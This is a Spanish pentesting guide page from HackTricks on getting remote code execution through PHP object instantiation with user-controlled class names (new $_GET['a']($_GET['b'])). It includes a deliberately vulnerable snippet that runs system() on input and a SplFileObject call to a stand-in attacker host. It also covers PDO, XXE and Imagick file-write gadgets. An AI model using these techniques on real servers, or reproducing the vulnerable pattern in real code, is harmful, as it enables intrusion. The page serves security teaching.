hacktricks/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

9.3 KiB

PHP - RCE abusando de la creación de objetos: new $_GET["a"]($_GET["b"])

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Introducción

En la situación en la que se puede crear un nuevo objeto arbitrario como new $_GET["a"]($_GET["a"]), es posible obtener RCE, y este artículo expone diferentes formas de obtener RCE.

RCE a través de clases personalizadas o autoloading

En la construcción new $a($b), la variable $a representa el nombre de la clase para la que se creará el objeto, y la variable $b representa el primer argumento que se pasará al constructor del objeto.

Si $a y $b provienen de GET/POST, pueden ser cadenas o matrices de cadenas. Si provienen de JSON u otro lugar, pueden tener otros tipos, como objeto o booleano.

Consideremos el siguiente ejemplo:

class App {
    function __construct ($cmd) {
        system($cmd);
    }
}

# Additionally, in PHP < 8.0 a constructor might be defined using the name of the class
class App2 {
    function App2 ($cmd) {
        system($cmd);
    }
}

# Vulnerable code
$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

En este código, puedes establecer $a en App o App2 y $b en uname -a. Después de esto, se ejecutará el comando uname -a.

Cuando no hay clases explotables en tu aplicación, o tienes la clase necesaria en un archivo separado que no está incluido en el código vulnerable, puedes echar un vistazo a las funciones de carga automática.

Las funciones de carga automática se establecen registrando devoluciones de llamada a través de spl_autoload_register o definiendo __autoload. Se llaman cuando se intenta crear una instancia de una clase desconocida.

# An example of an autoloading function
spl_autoload_register(function ($class_name) {
        include './../classes/' . $class_name . '.php';
});

# An example of an autoloading function, works only in PHP < 8.0
function __autoload($class_name) {
        include $class_name . '.php';
};

# Calling spl_autoload_register with no arguments enables the default autoloading function, which includes lowercase($classname) + .php/.inc from include_path
spl_autoload_register();

Dependiendo de la versión de PHP y el código en las funciones de carga automática, pueden existir algunas formas de obtener una Ejecución Remota de Código a través de la carga automática.

RCE a través de Clases Integradas

Cuando no se tienen clases personalizadas y carga automática, se puede depender solo de clases integradas de PHP.

Existen de 100 a 200 clases integradas de PHP. El número de ellas depende de la versión de PHP y las extensiones instaladas. Todas las clases integradas se pueden listar a través de la función get_declared_classes, junto con las clases personalizadas:

var_dump(get_declared_classes());

Las clases con constructores útiles se pueden encontrar a través de la API de reflexión.

Para mostrar los constructores y sus parámetros usando la API de reflexión: https://3v4l.org/2JEGF\

Si controlas múltiples parámetros del constructor y puedes llamar a métodos arbitrarios después, hay muchas formas de obtener una Ejecución de Código Remoto. Pero si solo puedes pasar un parámetro y no tienes ninguna llamada al objeto creado, hay casi nada.

Conozco solo tres formas de obtener algo de new $a($b).

SSRF + deserialización de Phar

La clase SplFileObject implementa un constructor que permite la conexión a cualquier URL local o remota:

new SplFileObject('http://attacker.com/');

Esto permite SSRF. Además, las SSRF en PHP < 8.0 podrían convertirse en deserializaciones mediante técnicas con el protocolo Phar.

Explotando PDOs

La clase PDO tiene otro constructor interesante:

new PDO("sqlite:/tmp/test.txt")

El constructor de PDO acepta cadenas DSN, lo que nos permite conectarnos a cualquier base de datos local o remota utilizando las extensiones de base de datos instaladas. Por ejemplo, la extensión SQLite puede crear archivos vacíos.

SoapClient/SimpleXMLElement XXE

En PHP ≤ 5.3.22 y ≤ 5.4.12, el constructor de SoapClient era vulnerable a XXE. El constructor de SimpleXMLElement también era vulnerable a XXE, pero requería libxml2 < 2.9.

RCE a través de la extensión Imagick

Al verificar las dependencias del proyecto que intenta explotar, puede encontrar nuevas clases que se pueden abusar para ejecutar comandos creando un nuevo objeto. En este caso, se descubrió que Imagick era útil para ese propósito.

Analizador VID

El analizador VID permite escribir contenido arbitrario en una ruta arbitraria dentro del sistema de archivos, lo que permitiría a un atacante escribir un PHPshell en una carpeta accesible desde la página web y obtener RCE.

Analizador VID + Carga de archivos

Cuando se carga un archivo en PHP, se almacena temporalmente en /tmp/phpXXXXXX. El analizador VID de Imagick con el protocolo msl permite especificar comodines en las rutas de archivo (para que el archivo cargado temporalmente se pueda acceder fácilmente) y copiarlo a cualquier ubicación arbitraria.
Esta es otra forma de obtener escritura de archivos arbitraria dentro del sistema de archivos:

PHP Crash + Fuerza Bruta

El informe original explicaba otra forma de obtener RCE mediante la carga de archivos con contenido específico y haciendo que el servidor se bloquee antes de eliminar ese archivo y luego realizando un ataque de fuerza bruta al nombre del archivo temporal hasta que Imagick ejecute código PHP arbitrario.

Sin embargo, aparentemente el truco de bloqueo descubierto solo funcionó en una versión antigua de ImageMagick.

Referencias

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥